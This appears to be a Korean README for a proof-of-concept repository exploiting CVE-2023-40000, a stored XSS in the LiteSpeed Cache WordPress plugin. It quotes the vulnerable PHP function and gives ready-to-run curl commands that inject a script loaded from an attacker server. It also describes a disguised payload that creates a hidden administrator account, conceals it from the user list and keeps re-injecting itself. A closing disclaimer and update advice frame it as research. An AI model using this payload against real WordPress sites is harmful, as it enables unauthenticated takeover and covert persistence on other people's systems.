
LiteSpeed Cache WordPress 플러그인의 XSS 취약점(CVE-2023-40000)에 대한 PoC로, 권한 상승을 허용합니다. 코드, 설명 및 완화 조치를 포함합니다.
LiteSpeed Cache WordPress 플러그인의 XSS 취약점으로 권한 상승이 가능한 PoC입니다. 이 취약점은 플러그인 버전 5.7.0.1에서 수정되었으며, CVE-2023-40000으로 지정되었습니다. 플러그인의 고급 보기 페이지에 따르면, 약 35%의 사용자가 여전히 취약한 버전(<5.7.0.1)을 사용 중이며, 이는 약 180만 개의 웹사이트에 해당합니다.
update_cdn_status 함수의 입력 검증(input sanitization) 부재로 인해, (인증되지 않은) 사용자는 악성 _msg 양식 값을 포함한 POST 요청을 보낼 수 있으며, 이 값은 저장된 후 WordPress 관리자 섹션에 표시됩니다. 이로 인해 누구나 인증되지 않은 POST 요청 하나만으로 관리자 계정을 생성하거나, 권한을 상승시키거나, 민감한 정보를 탈취할 수 있습니다. 취약한 함수는 여기 또는 아래에서 확인할 수 있으며, Admin_Display::error 함수는 여기에서 확인할 수 있습니다.
/**
* Callback for updating Auto CDN Setup status after run
*
* @since 4.7
* @access public
*/
public function update_cdn_status() {
if ( !isset( $_POST[ 'success' ] ) || !isset( $_POST[ 'result' ] ) ) {
self::save_summary( array( 'cdn_setup_err' => __( 'Received invalid message from the cloud server. Please submit a ticket.', 'litespeed-cache' ) ) );
return self::err( 'lack_of_param' );
}
if (!$_POST[ 'success' ]) {
self::save_summary( array( 'cdn_setup_err' => $_POST[ 'result' ][ '_msg' ] ) );
Admin_Display::error( __( 'There was an error during CDN setup: ', 'litespeed-cache' ) . $_POST[ 'result' ][ '_msg' ] );
} else {
$this->_process_cdn_status($_POST[ 'result' ]);
}
return self::ok();
}
이 저장소의 개념 증명에는 XSS 페이로드를 난독화하고 전달하는 동시에 수신되는 핑(ping)과 데이터를 캡처하도록 설계된 NodeJS express 서버가 포함되어 있습니다. 페이로드 스크립트는 이 취약점을 악용하는 공격자의 잠재적 행동을 보여줍니다. 즉, 사용자 이름 "wp-config-user"와 비밀번호 "somepassword123"을 가진 관리자 계정을 생성합니다. 또한 admin-bar-reloaded.min으로 위장된 XSS 페이로드는 로드 시 초기 XSS 팝업을 숨기고, users.php 관리자 페이지에서 생성된 사용자를 완전히 숨기며, 지속적인 저장형 XSS(stored XSS)를 유지하기 위해 초기 POST 요청을 반복합니다.
npm install을 실행하여 의존성을 설치합니다.node index.js로 서버를 시작합니다.다음 cURL 명령을 사용하여 취약한 엔드포인트에 POST 요청을 보냅니다:
curl -X POST "https://target.website/wordpress/wp-json/litespeed/v1/cdn_status" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "success=0&result[_msg]=<script src=https://your.server/admin-bar-reloaded.min.js></script>"
curl -X POST "https://target.website/wordpress/wp-json/litespeed/v1/cdn_status" ^
-H "Content-Type: application/x-www-form-urlencoded" ^
-d "success=0&result[_msg]=<script src=https://your.server/admin-bar-reloaded.min.js></script>"
이 저장소의 내용은 교육 및 연구 목적으로만 제공됩니다. 본 개념 증명의 사용으로 인한 오용이나 불법 활동에 대해 저는 책임을 지지 않습니다. 또한, 알려진 취약점으로 인해 LiteSpeed Cache 플러그인 페이지에는 모든 사용자에게 소프트웨어 업데이트를 권고하는 경고가 게시되었습니다. 이 문제를 완화하려면 설치 버전을 5.7.0.1 이상으로 업데이트하시기 바랍니다.